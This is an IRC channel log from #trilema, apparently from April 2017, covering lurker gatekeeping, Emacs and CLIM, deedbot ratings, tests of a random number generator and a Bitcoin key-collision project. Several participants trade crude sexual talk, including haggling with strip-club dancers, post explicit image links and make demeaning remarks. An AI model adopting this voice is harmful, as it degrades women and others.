1643821;1492216778;mircea_popescu;ben_vulpes any other way. 1643822;1492216789;ben_vulpes;who, CompanionCube ? 1643823;1492216792;mircea_popescu;yes. 1643824;1492216840;ben_vulpes;new blood 1643825;1492216849;asciilifeform;iirc a lurker/reader. was also the d00d who wrote to asciilifeform re the bolix genera thing. 1643826;1492216855;mircea_popescu;that doesn;t tell me anything. do you personalyl know him ? 1643827;1492216861;asciilifeform;i certainly do not. 1643828;1492216864;ben_vulpes;nope not i 1643829;1492216876;mircea_popescu;asciilifeform so far doing the whole "hey guise i can google plox like me" schtick which is getting on my nerves. 1643830;1492216896;ben_vulpes;Framedragger also guilty of this in spades 1643831;1492216907;asciilifeform;well the original tip from him was re an item that was not indexed by any (afaik) searcher. 1643832;1492216944;asciilifeform;but i know 0 else about CompanionCube . or the other one, whose name escapes me 1643833;1492216949;mircea_popescu;ben_vulpes at least re him i have some idea 1643834;1492216956;ben_vulpes;asciilifeform doppler? 1643835;1492216959;asciilifeform;aha! 1643836;1492216986;*;CompanionCube is hapy to leave if you want 1643837;1492217013;mircea_popescu;yes, please do. 1643838;1492217144;CompanionCube;Very well. Be seeing you if and when you succeed at your goals. 1643839;1492217191;mircea_popescu;dork. he's found who to escalate with. 1643840;1492217218;asciilifeform;was there more to this exchange than visible here ? 1643841;1492217223;mircea_popescu;nope. 1643842;1492217254;asciilifeform;where escalated ? 1643843;1492217268;mircea_popescu;where it blew up in his face, yes ? 1643844;1492217281;asciilifeform;( tangentially -- i have nfi, to this day, why 'hi, i'm a lurker' needs to sit logged in. can read logs ! ) 1643845;1492217342;mircea_popescu;i have nfi when "i can't commit to existing" became socially acceptable. we used to laugh at the drones who couldn't commit to mariage 30 years ago, then i fell asleep in front of the silver screen post blowjob and i wake up... suddenly it's everywhere. 1643846;1492217403;mircea_popescu;"who are you ?" "sorry i can't say because really i want to be a dragon and you'll laugh." 1643847;1492217459;ben_vulpes;asciilifeform: it's the safe and easy space in between "i am a gentoo nerd and have an irc bouncer" and "i am willing to undertake gpg key mgmt as the basis of identity" 1643848;1492217494;mircea_popescu;who knew the difficulty there isn't technical. 1643849;1492217496;mircea_popescu;like lyf! 1643850;1492217539;ben_vulpes;doesn't strike me as a "needs" thing. will be a "can" thing for as long as mircea_popescu refrains from turning the lights on and setting +i or whichever arcane fleanode flag 1643851;1492217563;mircea_popescu;wait, what ? 1643852;1492217758;ben_vulpes;for as long as randos can join #trilema and lurk they will do so instead of reading the logs 1643853;1492217766;mircea_popescu;ah, so let them, what. 1643854;1492217799;ben_vulpes;who knows if they even read their bouncer's scrollback instead of cycling through fifteen channels marking them as read in some inane, personal score-keeping game 1643855;1492217822;mircea_popescu;afaik this is common. here's where mp shares a little personal tidbit : 1643856;1492217863;mircea_popescu;the slavegirls are rarely solo when we meet. generally they're in a committed relationship / engaged / whatever. about half the time the beta in question is the "graduate student" type who compulsively answers questions on quora etc. 1643857;1492217882;asciilifeform;iirc mircea_popescu described this, in the 'golden helicopter' thread 1643858;1492217892;mircea_popescu;ah i did ? ok then. /me passes by reference. 1643859;1492217949;ben_vulpes;may i have a concrete pointer s'il vous plait? 1643860;1492218270;ben_vulpes;exceptionally short thread omg 1643861;1492218288;mircea_popescu;lol which 1643862;1492218297;ben_vulpes;"golden helicopter" 1643863;1492218313;mircea_popescu;well i mean how long's it gonna be. 1643864;1492218319;mircea_popescu;what's missing to your taste ben_vulpes ? 1643865;1492218372;mircea_popescu;all i'm sayin' is that as batshing insane as it may sound on the face, i have personal experience with the ample supply of "cycling through fifteen channels marking them as read in some inane, personal score-keeping game". 1643866;1492218387;ben_vulpes;more on the "compulsively answers questions on quora" 1643867;1492218404;mircea_popescu;"i did 9k wikipedia spelling corrections this year" "you mean the year gaping as a hole in your employment history ?" "oh, that's not important. progress! revolution! everything is connected! ubi!" 1643868;1492218415;mircea_popescu;or ufi or what's it called. 1643869;1492218431;ben_vulpes;"universal fuckwit income" 1643870;1492218436;mircea_popescu;!~google "the promise, eagerly offered, the hope, eagerly swallowed" 1643871;1492218459;mircea_popescu;or vice-versa. 1643872;1492218653;mircea_popescu;ie http://trilema.com/2014/the-battlefield-of-the-future/#selection-93.0-93.266 1643873;1492218772;ben_vulpes;i watched some related lols play out with 'poly' friends this year. $girl couldn't bring herself to break it off with her wikipedia editor, $guy didn't offer the platform to which to jump or demand the jump, tension built and $girl doubled down on the socialistoid anxiety production machines to everyone's dismay 1643874;1492218789;mircea_popescu;i believe it. 1643875;1492218819;mircea_popescu;in fact i expect it's the principal engine powering the sjtarded jeneration. 1643876;1492218839;mircea_popescu;(romanian pun, trading on the difference between jenant ie pathetic and generation ie whatever) 1643877;1492218872;phf;i've met him on another irc channel where he was equally non-contributing to an overall low snr. i was curious if he will maybe step up here, but nope doing exactly the same thing. the whole thing is reminiscent of the catv, a channel full of companioncubes 1643878;1492218893;asciilifeform;how does '9k wikipedia spelling corrections' appeal, is what i wonder. why not also walk around picking up rubbish from side of the road. 1643879;1492218899;asciilifeform;moar useful. 1643880;1492218900;mircea_popescu;well maybe the experience of gazing upon the stony face of his father that he never had will promote some personal growth. 1643881;1492218916;mircea_popescu;either that or masturbatory fantasies of an "improved trilema" with "moar freedom" of the "our democracy" type. 1643882;1492218926;mircea_popescu;asciilifeform they do 1643883;1492218931;mircea_popescu;!~google "let's do it romania" 1643884;1492218940;mircea_popescu;is jv broken or what 1643885;1492218954;ben_vulpes;i biked by a gaggle of old women doing precisely this a few weeks ago 1643886;1492218971;ben_vulpes;hey who wants to tell me that biking fucked my back up 1643887;1492219001;doppler;I wonder how many wikipedia editors are elderly women 1643888;1492219033;mircea_popescu;i expect about half are white, unsexed, males in their 30s +- 8 years. 1643889;1492219046;doppler;that sounds about right 1643890;1492219103;mircea_popescu;ben_vulpes go swimming moar bike less. and if you do bike, do 15% inclines rather than long bs. 1643891;1492219732;ben_vulpes;hm swimming 1643892;1492219784;ben_vulpes;well there's a whole world of coordination i've never really explored 1643893;1492219848;mircea_popescu;i have nfi what they do for healthcare where you live, but swimming is the thing for bad backs like fucking is the thing for pimples. 1643894;1492219895;ben_vulpes;we don't have healthcare 1643895;1492219897;ben_vulpes;we have health insurance 1643896;1492219902;mircea_popescu;ah ok then 1643897;1492219908;asciilifeform;'colt45 health-and-life insurance co.' 1643898;1492219912;ben_vulpes;you pay a shitload of money and then try to never make a claim 1643899;1492219941;ben_vulpes;make friends with girls in nursing school is probably the only mitigating strat 1643900;1492222298;mircea_popescu;motherfucker 1643901;1492222307;mircea_popescu;this is the third fucking flask i buy, set some alcohol in, and it rots. 1643902;1492222321;mircea_popescu;what the fuck is so hard about making a surgical steel flask rather than obscure zamaks 1643903;1492222332;asciilifeform;mircea_popescu: rust?! 1643904;1492222359;mircea_popescu;not even, just oxidation. 1643905;1492222370;asciilifeform;aint no such thing as 'just oxidation' 1643906;1492222370;mircea_popescu;i suppose the rotguts they drink don't suffer or something 1643907;1492222373;asciilifeform;what colour is it 1643908;1492222377;mircea_popescu;asciilifeform white 1643909;1492222383;mircea_popescu;i expect tin oxide. 1643910;1492222388;asciilifeform;i was about to say 1643911;1492222390;asciilifeform;Fe dun turn white. 1643912;1492222394;mircea_popescu;sure tastes like it. 1643913;1492222398;asciilifeform;ugh 1643914;1492224551;mircea_popescu;incidentally, it's somewhat sad how the mainstreamization of "polyamorous" became "i'm too worthless to demand the girl and will use being too poor as an excuse to notice how stupid i am". 1643915;1492224574;mircea_popescu;for the record, bums with no income and college degrees living in squalor aren't "participating in a polyamorous lifestyle". 1643916;1492226328;mircea_popescu;and in "markov chains today", https://bitcointalk.org/index.php?topic=1859970.0;all 1643917;1492228427;mircea_popescu;!!up gabriel_laddel_p 1643918;1492228427;deedbot;gabriel_laddel_p voiced for 30 minutes. 1643919;1492228709;gabriel_laddel_p;http://btcbase.org/log/2017-03-24#1632244 < people are going to want their emacs configs anyways while they make the transition & there is still a lot of functionality to be stolen from the sources. Also, emacs is an editor, so you can fix CLIM issues while it is frozen, which one could not with a "x11 window". 1643920;1492228709;a111;Logged on 2017-03-24 03:17 phf: my solutions to problems like that don't usually involve "bring in a 40mb package". i'd write a top level handler, that shows a modal x11 based repl/restart machinery. sort of poor man's genera 1643921;1492228774;gabriel_laddel_p;mircea_popescu: how goes. 1643922;1492228783;mircea_popescu;not bad. 1643923;1492228967;phf;gabriel_laddel_p: people can also figure out how to install emacs if they need to. creating artificial restriction like that ensures that ~you~ while developing get exposed to the kind of annoyances that you should address first. 1643924;1492228989;phf;clime for example shouldn't be global frozen, whether or not you have an emacs to fall back to. 1643925;1492228999;phf;*clim 1643926;1492229109;mircea_popescu;can anyone explain to me why the "browser" is a different item from this editor btw ? 1643927;1492229163;mircea_popescu;there's apparently a history of having an "editor" for files ; and an "editor" for internets and yet another editor for debugging the smashed system (mostly used to "develop" or "code"). what again is the rationale ? 1643928;1492229204;gabriel_laddel_p;mircea_popescu: emacs doesn't have a graphical display. 1643929;1492229213;gabriel_laddel_p;mircea_popescu: Climacs does, and thus will become a "browser" networked-sorta-thing. 1643930;1492229215;mircea_popescu;because there's definitely no fucking difference between "your x.org cant' come up would you like to fiddle with settings see if you can fix it" and "i am not happy with how my computer does oral sex will write a better procedure for it") 1643931;1492229250;mircea_popescu;gabriel_laddel_p what is it, tactile ? 1643932;1492229335;mircea_popescu;i will point out vlc has a "ascii art display", you can watch the godfather trilogy rendered in ascii. "so what's your excuse" follows immediately. 1643933;1492229350;gabriel_laddel_p;mircea_popescu: you can drop arbitrary objects into a climacs buffer, sorta like the DOM. you can operate on them according to their type, which is what SVG has been trying to do all along 1643934;1492229365;mircea_popescu;cool. 1643935;1492229377;gabriel_laddel_p;mircea_popescu: I'm less talented than they. 1643936;1492229413;mircea_popescu;i thought it was os. 1643937;1492229606;phf;fwiw emacs has a browser builtin 1643938;1492229616;mircea_popescu;yes but why is it different. 1643939;1492229632;phf;from what? 1643940;1492229638;mircea_popescu;from "the editor" 1643941;1492229643;gabriel_laddel_p;phf: text browser. and yes, emacs can do images, but has no notion of x,y coordinates. Also, lack of threading. 1643942;1492229685;mircea_popescu;"your car has a car built in." "is this because it's a shitty car ?" "no, we just do things that way." 1643943;1492229689;mircea_popescu;i am confused. 1643944;1492229730;mod6;hahah 1643945;1492229747;phf;i'm not my brother's keeper! 1643946;1492229748;mircea_popescu;hola mod6 1643947;1492229752;mod6;hai 1643948;1492229760;mircea_popescu;phf i was just asking in my spare time! 1643949;1492230062;phf;i'm unprepared to pursue the whys and hows of the field, and there's usually no escaping it with your "idle questions". so i'll just concede, the whole thing is idiotic. 1643950;1492230102;gabriel_laddel_p;http://btcbase.org/log/2017-03-29#1634423 < lat,longitude? 1643951;1492230102;a111;Logged on 2017-03-29 22:30 asciilifeform: re shortages, lulzy trend in washington region of building block after block after block of cardboard condo towers ~which then stand dark, for years on end~ continues 1643952;1492230103;mircea_popescu;i really wasn't pursuing any thesis. jus' curious. 1643953;1492230928;BingoBoingo; and in "markov chains today", https://bitcointalk.org/index.php?topic=1859970.0;all << lol, the Mrbigg malware dude's profile pic got fat 1643954;1492231890;asciilifeform;http://btcbase.org/log/2017-04-15#1643950 << look near just about any train stop now 1643955;1492231890;a111;Logged on 2017-04-15 04:21 gabriel_laddel_p: http://btcbase.org/log/2017-03-29#1634423 < lat,longitude? 1643956;1492231932;*;asciilifeform went to one that used to have empty fields around, last yr, and it was now surrounded with this cardboard. 1643957;1492232029;asciilifeform;http://btcbase.org/log/2017-04-15#1643942 << emacs is not an engineered object, like, say, mercedes, or even trabant. instead it is a pile of amoebic dysenteric liquishit. 1643958;1492232029;a111;Logged on 2017-04-15 04:14 mircea_popescu: "your car has a car built in." "is this because it's a shitty car ?" "no, we just do things that way." 1643959;1492232134;asciilifeform;http://btcbase.org/log/2017-04-15#1643932 << this works considerably better for films than for stills . ( the 'why' is exercise for reader ) 1643960;1492232134;a111;Logged on 2017-04-15 04:08 mircea_popescu: i will point out vlc has a "ascii art display", you can watch the godfather trilogy rendered in ascii. "so what's your excuse" follows immediately. 1643961;1492232173;asciilifeform;http://btcbase.org/log/2017-04-15#1643916 << what am i reading ? 1643962;1492232173;a111;Logged on 2017-04-15 03:18 mircea_popescu: and in "markov chains today", https://bitcointalk.org/index.php?topic=1859970.0;all 1643963;1492232205;*;asciilifeform did not succeed in making sense of linked item, despite sinking entire 10min or so into subj 1643964;1492232314;mircea_popescu;i dunno man. 1643965;1492232551;BingoBoingo;It reads perfectly clear: Scammers Scamming Scammers, aka marketing wank 1643966;1492237988;ben_vulpes;oh shame, cohen got embroiled in shit? 1643967;1492238232;ben_vulpes;http://btcbase.org/log/2017-04-13#1643059 << aye, concede. can we move on to the failures of "culturing * populations and rubbing them across the sensitive mucous membranes is a bad idea" now? 1643968;1492238232;a111;Logged on 2017-04-13 17:39 mircea_popescu: how is this supporting "Sinus flushing" as opposed to, i dunno, "used to wash up pre anal sex" ? 1643969;1492238357;mircea_popescu;mmm 1643970;1492238371;ben_vulpes;shy camgirls with great tits: http://68.media.tumblr.com/825037367e4035a1f4f92031667b15f3/tumblr_oo5do9N1K31rnq3xbo1_1280.jpg 1643971;1492238403;mircea_popescu;ok that's a great rack 1643972;1492238437;ben_vulpes;mhm 1643973;1492238515;ben_vulpes;hey you know what's great fun at the strip club? find the girls whose rodeo this is not their first and heckle the noobs. 1643974;1492238545;ben_vulpes;i found the strip club where bottoms stay on and hey what do you know, average dancer expertise is through the roof 1643975;1492238602;mircea_popescu;mmm 1643976;1492238655;mircea_popescu;say wut ? 1643977;1492238685;ben_vulpes;i mean heckle subtly, from the booths. with eyes and conversation. 1643978;1492238735;ben_vulpes;mircea_popescu: commodity pdx strip clubs have an utterly inane rhythm. 3 dances: first sorta-clothed, second no top, third no bottoms. 1643979;1492238762;mircea_popescu;as in bare cunt or as in "this is the designated 2nd underwear we take off" 1643980;1492238772;ben_vulpes;nono, bare cunts 1643981;1492238778;mircea_popescu;a cool 1643982;1492238778;ben_vulpes;nudity is free speech in oregon 1643983;1492238782;*;mircea_popescu hates that dumb shit. 1643984;1492238790;ben_vulpes;also 2 decades of right to die, but that's neither here nor there 1643985;1492238803;mircea_popescu;no, actuially it's pretty cool. 1643986;1492238817;ben_vulpes;rather 1643987;1492238840;ben_vulpes;glorious socialist utopia of pac nw: best water, bare cunts and right to die 1643988;1492238858;mircea_popescu;sounds pretty cool. 1643989;1492238885;ben_vulpes;anyways, this particular club of its own accord mandates bottoms at all times. result is that the dancers are of markedly higher dancing quality than girls in the clubs up the street, charging 5x cover. 1643990;1492238922;mircea_popescu;i dunno that's anymore than happy coincidence. 1643991;1492238986;ben_vulpes;sure! 1643992;1492239178;ben_vulpes;upon consideration it's probably just observation bias from asking "so whose dancing do you like" 1643993;1492239206;mircea_popescu;how much for the blowjob ? 1643994;1492239274;ben_vulpes;no idea 1643995;1492239319;phf;oddly enough, those are usually free 1643996;1492239340;ben_vulpes;i should ask i suppose 1643997;1492239345;ben_vulpes;i'm playing with how much they'll do in the club for how little this year 1643998;1492239433;mircea_popescu;phf from his 5x comment i gathered it's one of those cheaper joints where they don't make money out of table service and charge per the bj 1643999;1492239434;phf;... are you ircing from a club? 1644000;1492239456;ben_vulpes;i got two of the established girls to clear one of the minor's booths for the three of us this evening! for a whole set! for less than the cost of a single song in the vip room! 1644001;1492239456;mircea_popescu;ben_vulpes why squeeze the girls, i don't get it ? 1644002;1492239461;ben_vulpes;and this is why i don't play eulora 1644003;1492239534;ben_vulpes;mircea_popescu: not really a squeeze, "no, come on. we'll grab a side stage. you've been great just come along." 1644004;1492239548;mircea_popescu;i meant the "how much for how little" thing. 1644005;1492239565;mircea_popescu;so you save fiddy bux that'd have paid her rent in the time you don't cost the usg 10k ? umm 1644006;1492239586;ben_vulpes;well from the cause of "i was just watching but okay" and not towards the purpose of "how much for how little" 1644007;1492239588;mircea_popescu;working the wrong end of the stick. 1644008;1492239596;mircea_popescu;i c 1644009;1492239779;ben_vulpes;"vip" rates are "30 us per song with no touching", "ultra vip" rates are "100/10 min and maybe we let you touch something", ben_vulpes rates are "just sit down and tip like normal and we'll writhe all over you for reasons" 1644010;1492240034;mircea_popescu;i take it you had a good time. 1644011;1492252584;shinohai;"Happy Birthday from Tgirl Forums! - Shemale Reviews & TS Discussion. Please join today and meet a Tgirl in " 1644012;1492260540;asciilifeform;in other lulzies, http://monerolink.com 1644013;1492262430;shinohai;ooh ty asciilifeform good fodder, i was just writing shitcoin satutarday, etc 1644014;1492263366;deedbot;http://deedbot.org/bundle-461909.txt 1644015;1492263402;trinque;^ alrighty, got the thing with a suitable fee, works reliably again 1644016;1492263409;trinque;I'm kicking the cron back on 1644017;1492263479;trinque;got away with a 0.0001 fee for nearly the whole life of deedbot to date. cannot confirm a transaction with less than 0.0005 now. 1644018;1492263515;trinque;this is good for bitcoin (TM) (R) 1644019;1492264980;mircea_popescu;i think it is. 1644020;1492264997;mircea_popescu;asciilifeform awww. 1644021;1492265306;asciilifeform;reading the paper -- it worked exactly as you'd expect -- simple deduction. 1644022;1492265349;mircea_popescu;incidentally Framedragger , do you have a working theory as why he didn't say "decentralized systems lab plagiarized #trilema" ? 1644023;1492265424;asciilifeform;lol 1644024;1492265441;mircea_popescu;no, it's an important question, for him. 1644025;1492265466;mircea_popescu;"oh, it's because there's a borisov at urbana" ? "alf likes red" ? what is it. gotta have a theory, even if it turns out to be a wrong theory. 1644026;1492265515;asciilifeform;i'ma leave it as an exercise then . 1644027;1492265520;mircea_popescu;yes. 1644028;1492265551;mircea_popescu;(but if anyone in teh esteemed lordship wants to congratulate the three faculty members on doing good work and invite them over, that'd be nice.) 1644029;1492265602;mircea_popescu;!!rate shinohai 3 The Right Honorable Baron Titsbare 1644030;1492265604;deedbot;Get your OTP: http://p.bvulpes.com/pastes/FNtzE/?raw=true 1644031;1492265627;mircea_popescu;!!v 7F4FC35B6C4F4AE4DF73FD02CF89CD0B7A0AB35E7D5DE257E000DC46E7BD27C0 1644032;1492265628;deedbot;mircea_popescu updated rating of shinohai from 2 to 3 << The Right Honorable Baron Titsbare 1644033;1492265666;mircea_popescu;!!rate Framedragger 4 His Lordship the Lord Scanner 1644034;1492265682;mircea_popescu;o.O 1644035;1492265685;mircea_popescu;!!rate Framedragger 4 His Lordship the Lord Scanner 1644036;1492265687;deedbot;Get your OTP: http://p.bvulpes.com/pastes/lp1MJ/?raw=true 1644037;1492265692;mircea_popescu;extra space huh,. 1644038;1492265709;mircea_popescu;!!v C44126DDFA443E0DEED8F35DA0F93E2F9EE383812AF625E807B385A0277932B4 1644039;1492265709;deedbot;mircea_popescu updated rating of Framedragger from 4 to 4 << His Lordship the Lord Scanner 1644040;1492265773;mircea_popescu;!!rate ben_vulpes 4 His Lordship the Lord of the Well 1644041;1492265774;deedbot;Get your OTP: http://p.bvulpes.com/pastes/tYlDe/?raw=true 1644042;1492265795;mircea_popescu;!!v 672E514D837A94A4C7B7ACF7E39CD61C464C24ECCA00E1E79431C5EDE52C8E60 1644043;1492265796;deedbot;mircea_popescu updated rating of ben_vulpes from 4 to 4 << His Lordship the Lord of the Well 1644044;1492265833;mircea_popescu;trinque could deedbot get a !!seen which would return the top line of the last otp the nick in question responded correctly to ? 1644045;1492265897;mircea_popescu;as a model !!seen mircea_popescu now would yield " mircea_popescu RATE ben_vulpes 4 His Lordship the Lord of the Well Sat Apr 15 08:25:39 CST 2017" or somesuch. link rather than timestamp would also work well. 1644046;1492266072;mircea_popescu;(meanwhile in chicago, http://68.media.tumblr.com/a38d98f0e507b5650a05fc44032e7679/tumblr_o7136rRaWe1u0i0qzo1_400.gif ) 1644047;1492266258;mircea_popescu;and in other lulz, mp wakes up with the idea he'll do an asciiart post to spite the world. turns out http://gimpchat.com/viewtopic.php?f=9&t=1460 and alf had something with his "stills" thing. 1644048;1492266442;asciilifeform;the scarcity of ready proggy for it wasn't the reason at all. 1644049;1492266472;asciilifeform;but rather that asciiated films look ok, but still looks like shit much of the time. 1644050;1492266721;mircea_popescu;yeah. 1644051;1492266770;mircea_popescu;i got no argument, because the only possible argument would be "need better glyphs". isn't it strange that for all the crazy batshit nonsense including waterguns and whatnot utf put in, there isn't a "255 chars optimized for ascii rendering of stills" ? 1644052;1492266784;mircea_popescu;i think it is strange. 1644053;1492266885;asciilifeform;unicode aint ascii 1644054;1492266892;mircea_popescu;sure. 1644055;1492266953;asciilifeform;what'd be, then , the point, actual jpg would almost certainly weigh ~less~ and display moar reliably 1644056;1492267221;mircea_popescu;i dunno, make the point that utf is stupid ? 1644057;1492267522;deedbot;http://deedbot.org/bundle-462003.txt 1644058;1492267527;doppler;my current favorite is U+1F574 1644059;1492267541;doppler;"man in business suit levitating" 1644060;1492267672;mircea_popescu;heh 1644061;1492268885;Framedragger;http://btcbase.org/log/2017-04-15#1644022 << i understand the importance of this question and shall attempt some kind of answer, or will properly fail. bit later (took mdma last night with girl, after ~3 year break. so much love omg.) 1644062;1492268885;a111;Logged on 2017-04-15 14:09 mircea_popescu: incidentally Framedragger , do you have a working theory as why he didn't say "decentralized systems lab plagiarized #trilema" ? 1644063;1492268901;mircea_popescu;lol nice. 1644064;1492268916;mircea_popescu;Framedragger does raver chicks eh. shoulda figured, britain. 1644065;1492268951;Framedragger;funnily this one wasn't british, the latter are usually just plain..boring, man. maybe i can't find ways to excite them. but their minds, blergh 1644066;1492268973;Framedragger;this time was like "she wants sex i just want to listen to her mind maaaan" 1644067;1492268973;mircea_popescu;my sister went to denmark, married romanian she found there. it's a thing, this. 1644068;1492268982;Framedragger;hah! :) i see, i see 1644069;1492268996;mircea_popescu;how did that "bad" poem go... 1644070;1492269044;mircea_popescu;Creep home, and take your place there, the spent and maimed among ; God grant you find one face there, you loved when all was young. 1644071;1492269072;asciilifeform;housman? 1644072;1492269077;asciilifeform;or who was it 1644073;1492269087;Framedragger;mmm. this will..recur, some decades later, in mind, i'm sure 1644074;1492269132;mircea_popescu;asciilifeform one charles kingsley 1644075;1492269236;*;mircea_popescu also has cousin, went to germany to get married, ended up marrying romanian dude she met on the flight back. dude grew up literally across the hill from her. 1644076;1492269261;mircea_popescu;turns out exogamy is hard. 1644077;1492269300;Framedragger;maybe sometimes just need that new-environment-kick/vibe to shift perspective. or maybe just hard, yeah 1644078;1492269329;mircea_popescu;human sexuality is possibly the most complex mechanism in all creation. 1644079;1492269359;mircea_popescu;by comparison intelligence is relatively straightforward. 1644080;1492269440;Framedragger;it does feel that way. 1644081;1492269446;Framedragger;ty for deedbot trinque, looks good! 1644082;1492269982;diana_coman;mircea_popescu> my sister went to denmark, married romanian she found there. it's a thing, this. <- this is the sort of thing I keep noticing and can't yet explain beyond "people basically get homesick - they went abroad for it being rich, not for them not suffering the poor ways at home" 1644083;1492270098;mircea_popescu;i think it's the ever-classical prime-fire mechanism. they go away from home to get horny and then they seek a guy just like home to take care of it. 1644084;1492270112;mircea_popescu;most of life works on this paroxistic mechanism. 1644085;1492270158;mircea_popescu;diana_coman btw do you know the "just like mom used to make" joke ? 1644086;1492270235;diana_coman;no or don't recall it; I being apparently an exception to that thing, I'm still trying to digest it 1644087;1492270240;mircea_popescu;lol 1644088;1492270253;mircea_popescu;gal finds guy and falls in love. they get married an' all is well! 1644089;1492270279;mircea_popescu;except, gal is also a renowed cook, won contests and shit. so obviously she cooks for the guy, and he likes it and all, but... well... it's not like mom used to make. 1644090;1492270287;diana_coman;the burnt thing? 1644091;1492270302;mircea_popescu;girl goes nuts, spends a while trying everything. nothing catches. eventually has enough of the shit, stops caring, one day burns the food. 1644092;1492270306;diana_coman;aha 1644093;1492270308;mircea_popescu;JUST LIKE MOM USED TO MAKE!11 1644094;1492270312;mircea_popescu;diana_coman aha, teh burnt thing. 1644095;1492270316;diana_coman;I knew it but with previous wife thing 1644096;1492270329;mircea_popescu;ahs 1644097;1492270355;diana_coman;this is why I said earlier: they left for the "rich opportunities" not because "I can't stand this shit!" 1644098;1492270362;mircea_popescu;this, of course, from an alt-world where people don't esl and mothers cook or hang. 1644099;1492270375;diana_coman;they actually liked the shit very much 1644100;1492270384;mircea_popescu;diana_coman conceivably they left because nuclear family inhibited sexual maturation. 1644101;1492270400;diana_coman;or that; can be 1644102;1492270415;mircea_popescu;people aren't really made to be wolves. this nonsense of "apartments", man+woman+kids dun work irl. 1644103;1492270457;mircea_popescu;there's gotta be woods to run dogs in and maids quarters to ravish maids in and stables to roll the peasantry in the hay and etcetera. 1644104;1492270751;diana_coman;hm, to me it sounds more that it's a case of "this nonsense of forcing peasantry and maids and dogs and whatnots to have their own apartments dun work" 1644105;1492270758;diana_coman;but whatever 1644106;1492270767;mircea_popescu;that also. 1644107;1492270784;mircea_popescu;too much partitioning with inadequately semi-permeable membranes 1644108;1492271924;Framedragger;trinque: wot.deedbot.org older ratings (from #bitcoin-otc et al.) gone? they were there just before. or is this intended? 1644109;1492272106;Framedragger;ah they're not gone from e.g. mp's page (but gone from mine). anyway, no rush / low priority (!!wot gives the full thing anyway) 1644110;1492272488;mircea_popescu;meanwhile in natural fur, http://68.media.tumblr.com/b53def1efaf837feee8a1d4783069d2c/tumblr_nvdxstmuN21ttmek2o1_1280.jpg 1644111;1492273186;netmonk;hello 1644112;1492273190;mircea_popescu;hola 1644113;1492274549;mod6;hi 1644114;1492274659;mod6;So I collected 1.2Gb worth of data from FG. Which for the Advanced test I don't think would be a problem... about to do the `ent` & `dieharder` tests. 1644115;1492274669;mod6;asciilifeform: this is ok ya? ^ 1644116;1492274687;mircea_popescu;you gonna blog teh results ? 1644117;1492274712;mod6;yeah, i made a blog of all the basic results so far, complete with pics & thumbnails. 1644118;1492274716;mircea_popescu;nice 1644119;1492274724;mod6;i'll include the advanced test parts before publication. 1644120;1492274732;mircea_popescu;looking forward! 1644121;1492274738;mod6;:] 1644122;1492276401;asciilifeform;mod6: make sure to include your terminal settings 1644123;1492276429;asciilifeform;mod6: and yes, 1G+ -- the moar, the better, esp. for 'dieharder' 1644124;1492276491;mod6;cool. running dieharder now. 1644125;1492276505;mod6;my blog will cover everything from step 1-4 1644126;1492276508;mod6;with pics 1644127;1492276577;mod6;well, i even added the unboxing pics in there too. 1644128;1492276584;mircea_popescu;excellent! 1644129;1492276688;asciilifeform;oh hey mircea_popescu , didja know that rando derp Could Be As Cool As Phuctor Even Though Never Finding Anything ? >> https://motherboard.vice.com/en_us/article/the-large-bitcoin-collider-is-generating-trillions-of-keys-and-breaking-into-wallets 1644130;1492276698;mircea_popescu;lmao 1644131;1492276711;asciilifeform;( 'breaking into wallets' apparently consists of searching for sha1 puzzles ) 1644132;1492276735;mircea_popescu;hey, it got $random-spamsite linked here./ 1644133;1492276768;asciilifeform;hey, we linked timecube neh. 1644134;1492276778;mircea_popescu;indeed. 1644135;1492276863;mod6;also, 406K+ blocks eaten, and into blk0032 nao 1644136;1492276893;mircea_popescu;did we do THE jizzdoll ? http://68.media.tumblr.com/377826a655939544e74b1ac5e5960e81/tumblr_nkswicJX8o1upy7peo1_400.gif 1644137;1492276982;asciilifeform;seems like they search for ripemd collisions, 'At the moment, the pool is looking for private key collisions of P2PKH addresses. We are looking only at addresses with funds on them (see below for the why) and at the moment there are around 9 million of these in use. The pool uses a probabilistic data structure called Bloom filter to do the checking for each newly generated hash160 against all of the known hash160 with funds on them.' 1644138;1492276988;asciilifeform;( https://lbc.cryptoguru.org/man/theory ) 1644139;1492277001;asciilifeform;this is screamingly -ev vs., say, ordinary mining. 1644140;1492277008;asciilifeform;but apparently these folx dun care. 1644141;1492277027;asciilifeform;( what is the motivation, i have nfi, probably the usual dekulakization itch ) 1644142;1492277045;mircea_popescu;my theory is different. let's expound : 1644143;1492277077;mircea_popescu;if you build a fictious world that is flat, which is to say, the opposite of tmsr, a world in which it dun matter who your daddy is and any $random-nick can have any idea whatosever, 1644144;1492277089;mircea_popescu;it then necessarily follows that existence is predicated not on existence but on speech. 1644145;1492277120;mircea_popescu;since in such a world any reasoning is conventionally impossible (as it'd enact hierarchy and bring the daddy issues they ran from in the first place front and center) 1644146;1492277145;mircea_popescu;it then follows that any speech is fundamentally equivalent to any other speech, and a volume of speech is a minimum requisite for existence at all times. 1644147;1492277163;mircea_popescu;we can checkpoint here and verify that this is a correct model by observing how exactly it predicts us-like "academia". 1644148;1492277189;mircea_popescu;now, in this situation, random item with delusions of agency (in "our democracy" terms "a person") is stuck with the following problem : 1644149;1492277217;trinque;Framedragger: maybe when I fixed the data for yours a few days / week ago, I fixed it too hard 1644150;1492277223;trinque;going to be out today; I'll take a look soon 1644151;1492277226;mircea_popescu;given the list of all the things that have been said already (this is really a tree, but in his perspective it's flattened into a list by nulling out all the values associated with the string nodes), his choice is : 1644152;1492277227;trinque;I have all the original data 1644153;1492277240;asciilifeform;https://lbc.cryptoguru.org/trophies << quite different interpretation suggests itself -- they are 'princetonizing' the work of the 2014 folx who searched for reused nonces. 1644154;1492277247;mircea_popescu;either say something that's not in the list and get the points for existence found in the saying ; or say something already on the list, for less points. 1644155;1492277257;asciilifeform;and likewise promoting the notion that bitcoin can have 'rightful owner' who differs from the keyholder. 1644156;1492277275;mircea_popescu;as there's no OTHER dampener of the existence points outside of this scheme, you are guaranteed that in a flat world all the things will be said (and none of the things will be listened to) 1644157;1492277318;mircea_popescu;consequently, vice finds it +ev in those terms to maintain an item spuriously named "motherboard" in which to publish stuff like "the wallet collider consisting of a guy plucking wings off flies and dropping the maimed insect carcasses on his exposed glans penis." 1644158;1492277366;asciilifeform;( and notice, there is a piece re 'cryptoguru.org' but never phuctor . ) 1644159;1492277375;mircea_popescu;asciilifeform vice is literally, precisely and exactly a google spam device, like taboola or whatever. 1644160;1492277382;mircea_popescu;all they're trying to do is arbitrage the click. 1644161;1492277476;mircea_popescu;anyway. this is what i currently use to epxlain random string production, like 